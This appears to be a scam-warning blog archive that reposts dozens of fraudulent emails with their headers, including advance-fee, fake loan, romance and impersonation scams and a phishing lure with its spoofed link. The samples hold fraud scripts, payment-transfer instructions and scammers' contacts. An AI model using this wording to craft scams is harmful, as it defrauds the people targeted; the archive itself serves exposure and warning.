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Sunday, January 31, 2016

Loan scam email from MKG Maria gma1069@hotmail.com bj.impots@collector.org info.ecobanque@accountant.com

from: Gerardo Martinez <gma1069@hotmail.com> 
reply-to: bj.impots@collector.org
to: 
date: Wed, Jan 27, 2016 at 9:12 AM
subject: Re: Personal Loan
mailed-by: hotmail.com

Hi, please if you need a personal loan to rebuild live or project financing, do not hesitate to contact us here EMail: (info.ecobanque@accountant.com),  we offer 3% discount to customers with conditions that will facilitate life. Regards, MKG Maria

419 scam email from Mr. Babachir David Lawal Federal Republic of Nigeria Secretary General tyghzzx@nnpd.onmicrosoft.com sediacon1k@gmail.com

from: Mr.Babachir David Lawal <tyghzzx@nnpd.onmicrosoft.com> 
reply-to: sediacon1k@gmail.com
to: Recipients <tyghzzx@nnpd.onmicrosoft.com>
date: Wed, Jan 27, 2016 at 5:31 AM
subject: Good Day
mailed-by: nnpd.onmicrosoft.com

Good Day, I am Babachir David Lawal secretary general to Federal republic of Nigeria. I was appointed by new Nigeria president Muhammadu Buhari. Over six months in the office I have been going through all the files of past president GoodLuck Ebele Jonathan and I find out that there was huge amount of money that he deposited in a fix deposit account in Central Bank Of Nigeria. (CBN). I have contacted the central bank governor and he confirm to me that the sum is there and is $6.8 Million (Six Million Eight Hundred Hundred Thousand US Dollars Only) So with the power restrung to me as the secretary general of federal republic of Nigeria I am here by contacting you for this claim. If you can assure me your sincerity I will like both of us to work as a team and get the fund push to you. Finally, If you are interested I will only advise you to contact me via this email address: (sediacon1k@gmail.com ) for more details. Regards, Mr. Babachir David Lawal. Secretary General to Federal republic of Nigeria.

419 scam email from Barrister Paul Durueke barrpauldurueke10@hotmail.com

from: Barr Paul Durueke <barrpauldurueke10@hotmail.com> 
to: 
date: Wed, Jan 27, 2016 at 3:18 AM
subject: IMMEDIATE INVESTMENT REPLY URGENTLY..?
mailed-by: hotmail.com

My Dear ,
READY FOR IMMEDIATE INVESTMENT.
I am Paul Durueke , the former Personal Lawyer/PA to the Ex-Minister of Petroleum Nigeria,i am contacting you today regarding a very good business opportunity which i know will be very rewarding for the both of us,the information about this business is highly classified ,my madam is interested in investing in your country but i am faced with the problem of finding a trustworthy partner who will advice me on the viable areas to invest in and at the same time, act as my representative It is on this reason that i am contacting you.
Please, indicate your interest by contacting me for more details but if you really want to know more about her check on Google more information (Ex-Minister of Petroleum, Mrs. Diezani K.Alison-Madueke).Private  Email:pauldurueke@gmail.com.
Reason is that the Islam (Muslim)in government are troubling  the Christian as 99% of people in power now are Islam holding key position as they are after Christian.Please i needed your urgent assistance to invest madam Fund.

Plz Sir know this is very secret and confidence ....

Yours Sincerely

Paul Durueke

PHISHING ALERT! PHISHING scam email from Bank of America ks.marian@post.home.pl onlinebanking@ealerts.bankofamerica.com www.boa-secure.yn.lt/secure.bankofamerica.com

DO NOT CLICK ON THE LINK IN THIS EMAIL!  This email IS NOT FROM BANK OF AMERICA and the link DOES NOT TAKE YOU TO THE BANK OF AMERICA WEBSITE!  The link in the email takes you to http://boa-secure.yn.lt/secure.bankofamerica.com and is PHISHING for your banking information!

Originating IP: 41.66.208.108
Originating ISP: Vodafone Ghana
City: n/a
Country of Origin: Ghana

from: Bank of America <ks.marian@post.home.pl> 
reply-to: onlinebanking@ealerts.bankofamerica.com
to: 
date: Tue, Jan 26, 2016 at 9:30 PM
subject: Activity Alert: Online Banking Security
mailed-by: post.home.pl

Inline image
Activity Alert

As part of Bank of America's commitment to keeping your account and personal information, Please authenticate your account for maintenance and necessary updates.

Secure Login: https://secure.bankofamerica.com/

Bank of America, N.A. Member FDIC. Equal Housing Lender

© 2016 Bank of America Corporation. All rights reserved.

419 scam email from Dr. Musa Ibrahim nwntradng@gmail.com Emmanuel Ebere Lawyer emm_ebe300@yahoo.com

from: NWN Trading <nwntradng@gmail.com> 
to: 
bcc: 
date: Tue, Jan 26, 2016 at 6:44 PM
subject: Celebrate With Me!!!
mailed-by: gmail.com
signed-by: gmail.com

Dearest Friend,

This is to inform you about my success in getting the money moved under the cooperation of a new partner from South America. Presently I'm in Tuvalu for investing my own part of the money. Meanwhile, I didn't forget your past efforts and attempts to assist me in moving the cash despite that both of us could not make it.

Now contact our lawyer, his name is Emmanuel Ebere and his email address is emm_ebe300@yahoo.com ask him to send you US$850,000.00 in a check which I kept for your compensation for all the past efforts and attempts to assist me in this matter. I appreciated your efforts at that time very much. So feel free and get in touch with our lawyer Emmanuel Ebere and instruct him where to send the check to you.

Please do let me know immediately you receive it so that we can share the joy after all the sufferings at that time. In the moment, I am very busy here investing with my new partner. Finally, I have forwarded instruction to our lawyer to send the Confirmable Draft to you, so feel free to get in touch with Emmanuel Ebere and he will send the Draft to you without any delay. 

Best Regards,

Dr. Musa Ibrahim

419 scam email from Dying Widow Jane Smith abuduamed@gmail.com jane57031@gmail.com

from: Jane smith <abuduamed@gmail.com> 
reply-to: jane57031@gmail.com
to: 
bcc: 
date: Tue, Jan 26, 2016 at 1:06 PM
subject: MY DEAREST IN THE LORD, AT FIRST CAN YOU BE TRUSTED?
mailed-by: gmail.com
signed-by: gmail.com

My Dear Friend ,I am very sure you can make a lot of difference by
replying to my message , become good friends in our Lord Jesus Christ
and see that with greater power comes greater responsibility . You can
make a lot of changes in the life of others with this great offer from
the Lord through me to you , most especially the poor at heart , and
the less privileged. Firstly , I think i would start all with a proper
introduction of myself

I am Jane smith, A widow to Late mason. I am 65 years old , suffering
from long time cancer of the breast . From all indications , my
condition is really deteriorating and is quite obvious that I may not
live more than two months according to my doctor , because the stage
at which my cancer is (Level 4) , it is so critical and also to a very
severe stage. My personal physician told me that I may not live for
more than 2 months and I am so scared about it. My late husband and i
both grew up in a motherless home in Spain we got married and we
travel to the United States for our wedding and we decided to stay
back there simply because it is a lovely place to stay and we were
given a permanent stay after so many years of stay and also we have no
child of our own due to one problem and the other ,Since his death I
decided not to re-marry or get a child outside my matrimonial home
which the Bible is against even though i wish i had . It is late now
you know , and age is no longer on my side.but i still believe the
lord will send me someone that will make me smile which is you because
the bible says in the book of

Psalms 119:116 Uphold me according unto thy word, that I may live, and
let me not ashamed of my hope.
Psalms 138: 7 Though I walk in the midst of trouble, thou will revive me......
Psalms 145:18Psalms 57: 7 My heart is fixed. O God my heart is fixed,
I will sing & give praise
Psalms51: 17 The sacrifices of God are broken spirit, a broken &
contrite heart, O God thou will not despise.
psalms 41: 1 Blessed is he that considered the poor, the Lord will
deliver him in time of trouble.

Two of my favorite verses: Philippians 2:27: For indeed he was sick
nigh unto death, but God had mercy on him & that on him only, but on
me also,lest I should have sorrow upon sorrow.( I always say this in
my mind )

So, I now decide to give all of my wealth, by contributing to the
development of the motherless baby homes,less privileges, needy, poor,
charity homes,widows and Cancer patient too in your country and i just
want you to forget about the distance between me and you. I am willing
to donate the sum of $5.000,000.00, us dollars which is still the
major inheritance i have left. I wish you could be someone who i could
trust with all my heart,to make this wish of mine come true despite
the my prayers over you before i get to contact you.

I really need you to use the funds to help the poor which is very
essential and also the widow and cancer patient as me. I know this is
hard, but you should keep this saying in your heart , I am like Moses
in the Bible . He came to the Red Sea and Pharaoh behind him and no
way to turn but God delivered him all by a miraculous deliverance . It
will be a miracle from God to be able to help all the dear people God
has laid on our hearts, as you have been laid on my heart to do is
will.

This is why with God in my heart i contact you and i want you to
contact me so we be in contact with all the poor souls out there. Give
new lives , hopes and days . I have come to find out that wealth
acquisition without Christ is vanity and i hope you will agree with
this also. I will be praying hard that Satan will not stop this effort
Do contact me and i will tell you more of what you wish to know .
Note that the Lord have a great reason for me contacting you and i
will be very grateful if you will heed to the call of the Lord by
replying me

Yours in Christ

Romance scam email from Lina Kabbashi lina28kabbashi@hotmail.com lina20112kabbashi@yahoo.co.uk

from: lina kabbashi <lina28kabbashi@hotmail.com> 
reply-to: lina20112kabbashi@yahoo.co.uk
to: 
date: Tue, Jan 26, 2016 at 2:43 AM
subject: Hello My love
mailed-by: hotmail.com

Hello My love
My name is lina I am a  single girl, never no  married. i will like to be
your good friend and i am interested in knowing you, Write back to me in my E-mail I D at ( lina20112kabbashi@yahoo.co.uk )
so that i will give you full explanation of myself. and my picture, also i
have something to tell you about me.
Am Waiting for your quick reply
Thanks from me,
lina

419 scam email from Special Agent Mark Giuliano FBI Field Intelligence Groups FIGs Regional Deputy Director markgiuliano@mishon.net markgiuliano0@gmail.com

Originating IP: 202.134.0.44
Originating ISP: Pt Telkom Indonesia
City: Jakarta Pusat
Country of Origin: Indonesia

from:    AGENT MARK GIULIANO <markgiuliano@mishon.net>
reply-to:    markgiuliano0@gmail.com
to:    markgiuliano@ic.fbi.gov
date:    Fri, Jan 29, 2016 at 5:52 PM
subject:    RE: FROM THE FEDERAL BUREAU OF INVESTIGATION (FBI).

Federal Bureau of Investigation
Field Intelligence Groups J. Edgar Hoover Building
935 Pennsylvania Avenue, NW Washington, D.C.


Attention: Beneficiary,

We sincerely apologize for sending you this sensitive information via e-mail instead of a certified mail, post-mail, phone or face to face conversation, it's due to the urgency and importance of the security information of our citizens. I am Special Agent Mark Giuliano from the Federal Bureau of Investigation (FBI) Field Intelligence Groups (FIGs). We intercepted two consignment boxes at JFK Airport, New York. The boxes were scanned and they contained large sum of money ($4.1 million) also some backup documents that bears your name as the Beneficiary / Receiver. Investigation was carried out on the diplomat that accompanied the boxes into the United States and he stated that he was to deliver the funds at your residence as an overdue payment owed to you by the Federal Republic of Nigeria through the security company in United Kingdom.

After cross-checking all legal documents in the boxes, we found out that your consignment was lacking an important document and we can't release the boxes to the diplomat until the document is found, we have no other option than to confiscate your consignment.

According to Internal Revenue Code (IRC) in Title 26 also contain reporting requirement on a Form 8300, Report of Cash Payment Over $10,000 Received in a Trade or Business, money laundering activity may violate 18 USC §1956, 18 USC 1957, 18 USC 1960, and provision of Title 31, and 26 USC 6050I of the United States Code (USC), this section will discuss only those money laundering and currency violation under the jurisdiction of IRS, your consignment lacks proof of ownership certificate from the joint team of IRS and IRC, therefore you need to reply back immediately for direction on how to procure this certificate to enable us relieved the charge of evading the law on you, which is a punishable offense in the United States.

You are required to reply back within 72hours or you will be prosecuted in a court of law for money laundering, also you are instructed to desist from further contact with any bank(s) or person(s) in Nigeria or the United Kingdom or any part of the world regarding your payment because your consignment has been confiscated by the Federal Bureau of Investigation here in the United States.

Yours In Service,
Special Agent Mark Giuliano
Regional Deputy Director
Field Intelligence Groups (FIGs)

419 scam email from Diplomatic Agent Mr. Jude Frank labirrazabal@speedy.com.ar diplomatica@pisem.net 978-894-0697

Originating IP: 197.234.219.50
Originating ISP: Spacetel Benin
City: Cotonou
Country of Origin: Benin

from:    Mr Jude Frank <labirrazabal@speedy.com.ar>
reply-to:    diplomatica@pisem.net
to:   
date:    Wed, Jan 27, 2016 at 5:50 PM
subject:    DIPLOMATIC MR JUDE FRANK CALL OR TEXT; 978 894 0697
mailed-by:    speedy.com.ar

Dear Friend;

I’m DIPLOMATIC MR JUDE FRANK I have been trying to reach you on your telephone
about an hour now just to inform you about my successful arrival in Boston
Logan International Airport,Massachusetts (USA)
with your two boxes of
consignment worth $3.6 million USD dollars which I have been instructed by UPS
DIPLOMATIC COURIER SERVICE to be delivered to you. The Airport authority
demanded for all the legal back up to prove to them that the fund is no way
related with drug nor fraud money.

I have presented the papers I handed to them and they are very much pleased
with the papers I presented but the only thing that is still keeping me here is
the airport delivery Tag which is not placed on the boxes, one of the Airport
Authority has advise that we get the delivery tag so that I can exit the
airport immediately and make my delivery successful .I try to reason with them
and they stated the delivery tag will cost us just $250 Dollars only to get the
two tags placed on the boxes as that tag will enable me get to your house
successfully without any interference, they scanned the boxes and found out
that the fund is 100 % spend able and accepted by any bank in the whole world.

As I can not afford to spend more time here due to other delivery and Xmas
vacation is around the Conner. I can accompany you to your bank were you will
deposit the fund successfully with these papers. I have one more vital paper
with me but I can only present you the hard copy when I reach your house as
that it is the diplomatic rules, such as authorization to deliver.
Reconfirm the following information below so that I can deliver
Your consignment box to you today

NAME: ====================
ADDRESS: =====================
MOBILE NO.:=======================
NAME OF YOUR NEAREST AIRPORT: ================
A COPY OF YOUR IDENTIFICATION: ==================

You can direct the tag fee to our Head Office in Benin Republic UPS as they
will get the tags here for you and they are entitled to receive and make any
payment to foreign countries authority. MR Jude Frank Here is my cell phone to
contact me.((978 894 0697) contact me with this email address
(diplomatica@pisem.net ) You are to send the fee through western union or money
gram with below information;

RCEIVER NAME....LAWRENCE IGBANU
COUNTRY.......... BENIN REPUBLIC
CITY....................... COTONOU
TEXT QUESTION........ URGENT
TEXT ANSWERE........ NEEDED
AMOUNT.................$250 USD
SENDER NAME
MTCN..

After sending the payment to Our Head Office in Benin Republic UPS email me the
payment information such as MTCN OR REFERENCE number also senders name text
question  and answer to enable me reach them with the payment details so they
can get the tags obtain and Fax it to me one hand so I can make my next step to
your address today due to the Yellow Tags of the boxes is my only delay now .
Here Is Your Package Unlocking CODE(AWB33XSXS Urgent Response is needed because
here is very busy and cool
Email me :( diplomatica@pisem.net ) Phone number (978 724 4955 )

Regard
DIPLOMATIC MR JUDE FRANK CALL OR TEXT; 978 894 0697

419 scam email from Janet Louise Yellen Federal Reserved Bank Incumbent Chairperson kimiejpjp@yahoo.co.jp johngstumpf7@gmail.com federalreservebankbnk@gmail.com

Originating IP: 41.79.217.140
Originating ISP: Spacetel Benin Sa
City: n/a
Country of Origin: Benin

Sender: kimiejpjp@yahoo.co.jp
from:    FEDERAL RESERVE BANK <johngstumpf7@gmail.com>
reply-to:    FEDERAL RESERVE BANK <federalreservebankbnk@gmail.com>
to:   
date:    Wed, Jan 27, 2016 at 3:19 PM
subject:    Federal Reserve Bank

Federal Reserve Bank
20th St. and Constitution Ave. N.W
Mail Stop K300
Washington, D.C. 20551


Your payment files from three (3) different banks, Natwest Bank of London, Central Bank of Nigeria and Bank of America was compiled and submitted to my desk this morning for review. The total sum owed to you by the 3 banks mentioned above was sum up to the tune of US$15,500,000.00 (Fifteen Million Five Hundred Thousand United States Dollars).

Now the fund has been totally lodged in one particular Escrow account (non deductible) here in the Federal Reserve Bank on your name, while waiting for accreditation to your personal bank account in any part of the world.

Meanwhile, after due scrutiny and verification, I confirmed that you have fulfilled all the necessary obligations that will enable the release of your payment to you, but yet your payment was not released to you due to one flimsy excuses or the other from the Bank officials in charge of your payment, because they had the intention of diverting your funds to their private accounts in order to satisfy their selfish interest.

You are however lucky that we the management of the US Federal Reserved Bank detected their evil plans and therefore call for the submission of your payment file to us so we can personally handle the payment assignment to ensure that you receive your funds accordingly.

Now, all modalities regarding your fund release has been put in place here in the Reserve Bank of America, thus, your funds has been made ready for transfer in our sophisticated macro transfer system, what we need from you now is to provide to us the bank account of your choice which you want us to transfer your funds so we can expedite action for the accreditation of your funds into your account immediately.

Below are the information needed for now for your transfer.

1. Personal Details:

Full Name:
Current Address:
Age/Gender:
Occupation:
Direct Mobile Number:
Passport Copy, ID card or DL:

2. Banking Details:

Bank Name:
Bank Address:
Account Name
Account Number:
Routing Number:
Swift Code:

Note: If you prefer to receive your funds in form of a Visa Card, we could load and ship your Visa Card to your address which will permit you a daily withdrawal limit of US$3000 or write a draft check which can be deposited in any bank and send to you.

In anticipating for your urgent cooperation

Yours sincerely,
Janet Louise Yellen
Incumbent Chairperson
Federal Reserved Bank

419 scam email from Mrs. Lizzy Monaco bercea@bewleyfuneralhome.com Dr. James Patrick World Bank Representative Agent drjamespatrick1@hotmail.com +229-98447276

Originating IP: 197.234.219.78
Originating ISP: Spacetel Benin
City: Cotonou
Country of Origin: Benin

from:    Mrs. Lizzy Monaco <bercea@bewleyfuneralhome.com>
reply-to:    drjamespatrick1@hotmail.com
to:   
date:    Wed, Jan 27, 2016 at 5:14 AM
subject:    Compensate (USD$980,000.00)

Note: we have decided to contact you following the reports we received from Anti-Fraud International Monitoring Group your name/email has been submitted to us therefore the United Nations have agreed to compensate you with the sum of(USD$980,000.00) this compensation is also including international business that failed due to Government problems etc.

We have arranged your payment through our MasterCard ATM which is the latest instruction from the World Bank president Mr. Jim Yong Kim therefore be advice to contact our Representative Agent, Dr James Patrick who is in position to release your MasterCard ATM contact him with the bellow email & phone number and make sure you forwards your full details as listed bellow.

Contact Person: Dr James Patrick
Telephone Call +229_98447276
Email Contact.. drjamespatrick1@hotmail.com

1. Full Name:......
2. Country:..........
3. Delivery Address:.........
4. Telephone..........:& Occupation.......
5. Your Age..... /Sex....................
6: You’re Nearest Airport..............

Once again for the collection of your MasterCard ATM contact our representative Dr James Patrick to enable you confirm your payment without further delay and note that any other contact you made out side his office is at  your own risk.

Thanks
Mrs. Lizzy Monaco

Saturday, January 30, 2016

419 scam email from David Mark and/or Lord Janny DHL Agent agentoffice99@gmail.com +229-98097885

from:    agent office <agentoffice99@gmail.com>
to:   
date:    Thu, Jan 28, 2016 at 2:39 AM
subject:    CALL HIM THROUGH THESE NUMBER +229)9809-7885
mailed-by:    gmail.com
signed-by:    gmail.com

LORD JANNY DHL AGENT IS NOW AT ATLANTA GEORGIA INT'L AIRPORT WITH YOUR
ATM CARD WORTH OF 2.3MILION USD,ALL YOU HAVE TO DO IS SEND HIM YOUR
DETAILS AGAIN SO
THAT HE CAN NOT MAKE MISTAKE OR CALL HIM
(+229)98097885)EMAIL:agentoffice99@gmail.com)THIS IS ALL NEEDED NOW
URGENT BECAUSE HE IS THERE NOW WAITING TO
HEAR FROM YOU SINCE YESTERDAY,AND I TOLD HIM TO BE AT THE SECURITY OFFICE SO
THAT NOTING WILL HAPPEN TO THE CARD,
(1) Full names ---
(2) Phone line ---
(3) Country and city -----
(4) Age/sex ------
(5) NEAREST AIRPORT:---
(6)Home address:--
EMAIL HIM YOUR ADDRESS NOW IS VERY URGENT SO THAT HE CAN NOT BE DELAY AMY
MORE OVER THERE,FOR THE DELIVERY.
THANK DAVID MARK,

419 scam email from Ambassador Michael Raynor US Ambassador to Benin raynor.@muse.ocn.ne.jp ambassadormichaelraynor442@yahoo.com Mr. William C. Dudly United Bank of America Director unitedbankof_americanewyork@yahoo.com

Originating IP: 41.216.50.160
Originating ISP: Opt Benin / Benin Telecom
City: Porto-novo
Country of Origin: Benin

from:    Mr, Ambassador michael raynor <raynor.@muse.ocn.ne.jp>
reply-to:    "Mr, Ambassador michael raynor" <ambassadormichaelraynor442@yahoo.com>
to:   
date:    Wed, Jan 27, 2016 at 12:38 PM
subject:    GREETINGS FROM WORD EMBASSY
mailed-by:    muse.ocn.ne.jp

Rue Caporal Bernard Anani
01 BP 2016, Cotonou, Benin
Fax  local: 2130.0670
Web site    http://cotonou.usembassy.gov/

GREETINGS FROM WORD EMBASSY

Attention Please!

I am Ambassador michael raynor

from United States i joined the State Department in 2002. I am a

career member of the Senior Foreign Service with the rank of Minister Counselor. Prior to

becoming the U.S. Ambassador to Benin, I was the Executive Director of the Bureau of African

Affairs from 17/4/2013, following two years as the Deputy Executive Director.  I spent most

of my career in Africa, including as management officer in Harare, Windhoek, Conakry, and

Djibouti, and as General
Services Officer in Brazzaville.

I would like to inform you that your funds issue was brought to my office this morning because

the director of the United Bank bamerica (U.B.A) Mr william c. dudly here in u.s.a, told me that they have

uploaded your inheritance fund worth ($5.6.000 000.00) which will transfer into your bank account and since then they

have not heard from you with the fee of 150 dollars, so the case was brought to my office in a view to Cancel your fund

and divert it into government treasuries account, because of your sudden silence  to comply

with delivery terms and conditions. Then, I asked what are the conditions but i was told that

you are been required to pay for your fund clearance certificate of 150$  but i told him to wait because

there is no need to cancel the transfer of your fund into your bank account that i will do my very possible best to bring the issue

to conclusion since it has been brought to my office.

To the best of my knowledge, i found out that this fund is legitimate because the president of benin republic mr yayi boni is aware of this fund like the federal minister of finance  and i will advise you to

send the clearance certificate from i.m.f so that inheritance fund of 5.6 million united state dollars will be transfer into your bank account immediately with any delay


and i  guarantee  you that this fund will be transfer into your bank account under a legitimate arrangement that will protect

you from any breach of the law. I will be here guiding you on the inheritance matter as well like wise mr president okay

as backing you up with all the necessary information that may be required.

What could be your reason of refusal and chosen to abandon such huge amount of money? I want

your urgent reconfirmation of your delivery information to me such as your full name, address

and telephone number as soon as you receive this email. Because this is last opportunity you

have to receive your inheritance fund so do not fail to notice this wonderful moment to have

your fund that you have been looking for way to making it reality. I will be waiting to hear

from you to resolve the issue as quickly as possible for you to receive your overdue payment.

This message contains information about the bilateral relationship between the United States

of America and the Republic of Benin as well as foreign policy, economic affairs, domestic

issues, and U.S. society and values. Led by the Ambassador, the U.S. Mission works to foster a

friendly relationship between the U.S. and Benin for the benefit of both countries.

you can also contact [U.B.A] At Via Email [unitedbankof_americanewyork@yahoo.com ]  for more details

AMBASSADOR michael raynor

HERE IS THE PAYMENT INSTRUCTION TO SEND THE CLEARANCE FEE OF 150$ SO THAT THE UNITED BANK OF AMERICA NEW YORK WILL PROCESS AND TRANSFER YOUR FUND INTO YOUR BANK ACCOUNT IMMEDIATELY ONCE THE CERTIFICATE IS OBATIN:

RECIVER NAME:::: Ralph emekam
COUNTRY: BENIN REPUBLIC.
CITY::::COTONOU
AMOUNT: $150USD
MONEY GRAM NUMBER. . . . . . . . . . . . . .

Best Regards,
Ambassador of the United States to Benin
American Embassy
Cotonou, Benin Republic.
Personal e-mail: { ambassadormichaelraynor442@yahoo.com }

419 scam email from Mr. Erhard Holtmann Edenhart's Dying Widow Mrs. Regina Anna Edenhart mrs.reginaannaedenhart@gmail.com

from:    Mrs.Regina Anna Edenhart <mrs.reginaannaedenhart@gmail.com>
to:   
bcc:   
date:    Wed, Jan 27, 2016 at 10:46 AM
subject:    Apostolic Greetings !!!
mailed-by:    gmail.com
signed-by:    gmail.com

Apostolic Greetings !!!

Dearest In Christ.

God will grant you the willingness and interest to digest this humble narrations though it might be so surprise and strange to believe my story but i knew by the reason of the almighty you will humbly understood and accept to proceed with my proposal though we have not met or seen each other before.

My name is Mrs. Regina Anna Edenhart a widow to Mr. Erhard Holtmann Edenhart who was a competent business man here in Germany, we were married for many years without any child till his death in October 2009 after a brief illness. Due to the promise which i revered to him on the alter at the day of our church wedding i decided not to remarry or get a child outside my matrimonial home which is against the holy bible.

My happiness is that my late husband lived a life of a true & worthy Christian and he has this plan before his death which he pleaded with me to appropriate it to accomplishment.

He took this decision with me to use this fund in building an orphanage in his name that will accommodate thousand's of children, and also to use part of this fund in helping the less fortunate and to spread the gospel of the lord to the remote places of the world. He made this deposit of $( 2.7 Million )USD Two million Seven hundred thousand in a Finance Security Company here in Germany. Recently, my Doctor told me that i would not last for the next 5 months due to cancer & stroke illness.

Having known my condition i decided to seek for a competent and reliable God fearing person or church to entrust this fund to utilize this fund the way i narrated above as my late husband desired.

The Bible made us to understand that "Blessed is the hand that giveth". I took this decision because i don't have any child that will inherit this money and my late husband's relatives are not Christians and I don't want my late husband's efforts to be used by unbelievers.

I don't want a situation where this money will be used in an ungodly way. This is why I am taking this decision. I am not afraid of death hence i know where i am going. I don't need any telephone communication in this regard because of my health hence the presence of my husband's relatives are around me always. i don't want them to know about this development.

As soon as i receive your reply i shall give you the relevant documents that will legalize you to have access over this fund. I will also issue you an affidavit that will prove you the present beneficiary of this fund in the Finance Security Company. I want you and the church to always pray for me because the lord is my shepherd.

My happiness is that i and my late husband lived a life of a worthy Christian. Whoever that Wants to serve the Lord must serve him in spirit and Truth.

Please always be prayerful all through your life and pray to God to forgive me my sins. Contact me on my private email bellow, any delay in your reply will give me room in sourcing for another church or a God fearing person for this same purpose.

Please assure me that you will act accordingly as i stated herein.
Hoping to receive your reply.

Your's Sister In Christ,
Mrs. Regina Anna Edenhart.
Email: mrs.reginaannaedenhart@gmail.com

419 scam email from Mahmoud Abdullahi BSIC Bank Auditing and Accounting Section Director in Charge mahmoudabdullahi125@yahoo.com

from:    Mahmoud Abdullahi <mahmoudabdullahi125@yahoo.com>
reply-to:    Mahmoud Abdullahi <mahmoudabdullahi125@yahoo.com>
to:   
date:    Thu, Jan 21, 2016 at 4:36 AM
subject:    TRUST.
mailed-by:    yahoo.com
signed-by:    yahoo.com

MAHMOUD ABDULLAHI
MANAGER AUDIT
AND ACCOUNTING UNIT
FOREIGN REMITTANCE DEPT.
BSIC BANK

COTONOU REPUBLIC OF BENIN. WEST AFRICA

ATTN..

I am MAHMOUD ABDULLAHI the director in charge of auditing and accounting section of BSIC BANK cotonou republic of benin,WXest Africa.

With due respect and regard I have decided to contact you on a business transaction that will be very beneficial to both of us at the end of the transaction.

During our investigation and auditing in this bank,my department came across a very huge sum of money belonging to a deceased person who died on 26th May 2006, our customer, His wife and their only daughter were involved in Benin petrol tanker explosion incident that happened at Porga, while returning from site. Their car collided with petrol tankers fully loaded with fuel caught fire; all occupants of the car unfortunately lost their lives. which killed 54 people lost their lives while 15 were seriously affected.(http://news.bbc.co.uk/2/hi/africa/5016532.stm).

Although personally,i keep this information secret within myself and partners to enable the whole plans and idea be Profitable and successful during the time of execution. The said amount was usd$5.3M(Five million ,three hundred thousand dollars only).

Sir, please note that there is no any risk involve in this transaction rather than to look for a TRUST WORTHY someone that will not betrayed me at the end of the day that is why an agreement is going to be drawn on your percentage share on the total fund because the fund is still going to be invested into a very lucrative business venture of your choice in your country and you can tell me your percentage share which i believe that won't be the problem .

Meanwhile all the whole arrangement to put claim over this fund as the bonafide next of kin to the deceased,get the required approval and transfer this money to a foreign account has been put in place and directives and needed information will be relayed to you as soon as you indicate your interest and willingness to assist us and also benefit yourself to this great business opportunity.

In fact i could have done this deal alone but because of my position in this  country as a civil servant,we are not allowed to operate a foreign account and would eventually raise an eye brow on my side during the time of transfer because i work in this bank.

This is the actual reason why it will require a second party or fellow who will forward claims as the next of kin to the Bank and also present a foreign account where he will need the money to be re-transferred into on his request as it may be after due verification and clarification by the correspondent branch of the bank where the whole money will be remitted from to your own designated bank account.

May i at this point re-emphasize that this transaction is 100% risk free as i have made arrangements for a successful arrangement as an insider of the bank before contacting you.On smooth conclusion of this transaction,you will be entitled to 30% of the total sum a gratification,while 10% will be set aside to take care of expenses that may arise during the time of transfer and also telephone bills,my travel ticket to come over to your country for the sharing of the fund while 60% will be for me and my partners.

Please note that the success of this transaction will depend to a great extent on mutual trust, secrecy and Confidentiality from you that is why you are advised  to keep this a top secret as we are still in service and intend to retire from service after we conclude this deal with you.

I will be monitoring the whole situation here in this bank until you confirm the money in your account and ask us to come down to your country for subsequent sharing of the fund according to percentages previously indicated and further investment,either in your country or any country you advice us to invest in.

All other necessary information will be sent to you on your acceptance to champion this transaction with me.I suggest you get back to me as soon as possible and your full contact information should be given so that we can discuss better and  stating your wish in this deal.

Yours Faithfully,

MAHMOUD ABDULLAHI

Friday, January 29, 2016

419 scam email from Mr. Bony Ajah MoneyGram Foreign Operations Manager beninrep_headoffice@moneygram.org mgram9706@gmail.com +229-95136458

Originating IP: 41.85.176.27
Originating ISP: Opt Benin / Benin Telecom
City: Cotonou
Country of Origin: Benin

from:    MONEY GRAM HEAD OFFICE <beninrep_headoffice@moneygram.org>
reply-to:    mgram9706@gmail.com
to:   
date:    Wed, Jan 20, 2016 at 4:10 AM
subject:    THIS IS A SPECIAL BONUS FROM MONEY GRAM OFFICE FOR THE BEGINNING OF THIS YEAR 2016,

THIS IS A SPECIAL BONUS FROM MONEY GRAM OFFICE FOR THE BEGINNING OF THIS YEAR 2016,
Welcome to money gram
Send Money Worldwide

Attn,My Dear,

This is to notify you about the latest development concerning all the payment that are left in our custody, which yours are inclusive Besides, your were given a bill of $395,in order to receive your payment of which we didn't hear from you for sometime now,

Hence, our money gram is now offering a Special BONUS to help all our customers that are having their payment in our custody over due. In order words we are now requesting that those involve should pay only the sum of $108.00 usd to receive all their payment abandoned in our custody.

Besides, my dear, this is the opportunity for you and have to comply and your funds shall be transfer to your designated address. But remember that after (3 DAYS) you did not make the payment then we will divert your funds to Government Fund, to avoid problem or we will cancel the payment for this year until next year because this year is not like last year.

Again after (THREE DAYS ) We will enter A new project for the year and that is the reason why we decided to help all our customers  before we enter into the new project. So be advise to send the $108.00 immediately so that we will register your payment and for you to start receive $5,000 as from tomorrow .Contact the Director via e-mail(mgram9706@gmail.com )

Be advise that there is no time again for we to call any person on phone unless you will call +229-95136458 After the payment of $108.0 you will start receiving your money every day $5,000 through money gram,  Send the money through money gram Money Transfer with the information below,

Receiver's name=====
Country==  Benin Republic.
City==== Cotonou
Text Question== Bless
Answer== God
Amount=$108.
MTCN#==?
SENDER'S NAME==?

The moment i receive the payment of $108 i will release the first payment information&#146;s of $5,000 to you and when you pick up the money and i will send you another $5,000.00. Hoping to hear from you.

BEST REGARDS
MR. BONY AJAH
FOREIGN OPERATION MANAGER
MONEY GRAM OFFICE BENIN REPUBLIC

----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.

Loan scam email from Frank Anderson Loan Service frankanderson1759@gmx.com

from:    Frank Anderson <frankanderson1759@gmx.com>
to:   
date:    Tue, Jan 19, 2016 at 9:45 AM
subject:    Need A Loan
mailed-by:    gmx.com

Good day,

All types of loans available (Business, Personal, Consolidation, Car,investments, etc.) @ 3% per annum. from the minimum amount of $5,000.00 to the maximum amount of $20,000.000.00 if you are in need of this loan simply fill the below application data's so that we can proceed with the loan.

LOAN APPLICATION FORM.

Name:
Country:
Gender:
Occupation:
Date of birth:
Marital status:
Loan duration:
Monthly income:
Purpose of loan:
Telephone number:
Amount needed as loan:
Have you applied for a loan before?Yes or No:

So you have to reply us back with those information below so that we can proceed further ,we await your urgent response.

Warm Regards

*FRANK ANDERSON LOAN SERVICE*
Email:frankanderson1759@gmx.com 
Office Branches located in United Kingdom, United States of America(USA),Spain,Moscow.
International office branch head office number: +1571358975
Authorized and regulated by the Financial Conduct Authority
SW1Y 4LR • Registered No. OC305965

Loan scam email from Universal Provision Fund pmary0528@gmail.com universalprovisionfund@live.com

from:    Universal Service <pmary0528@gmail.com>
reply-to:    universalprovisionfund@live.com
to:   
bcc:   
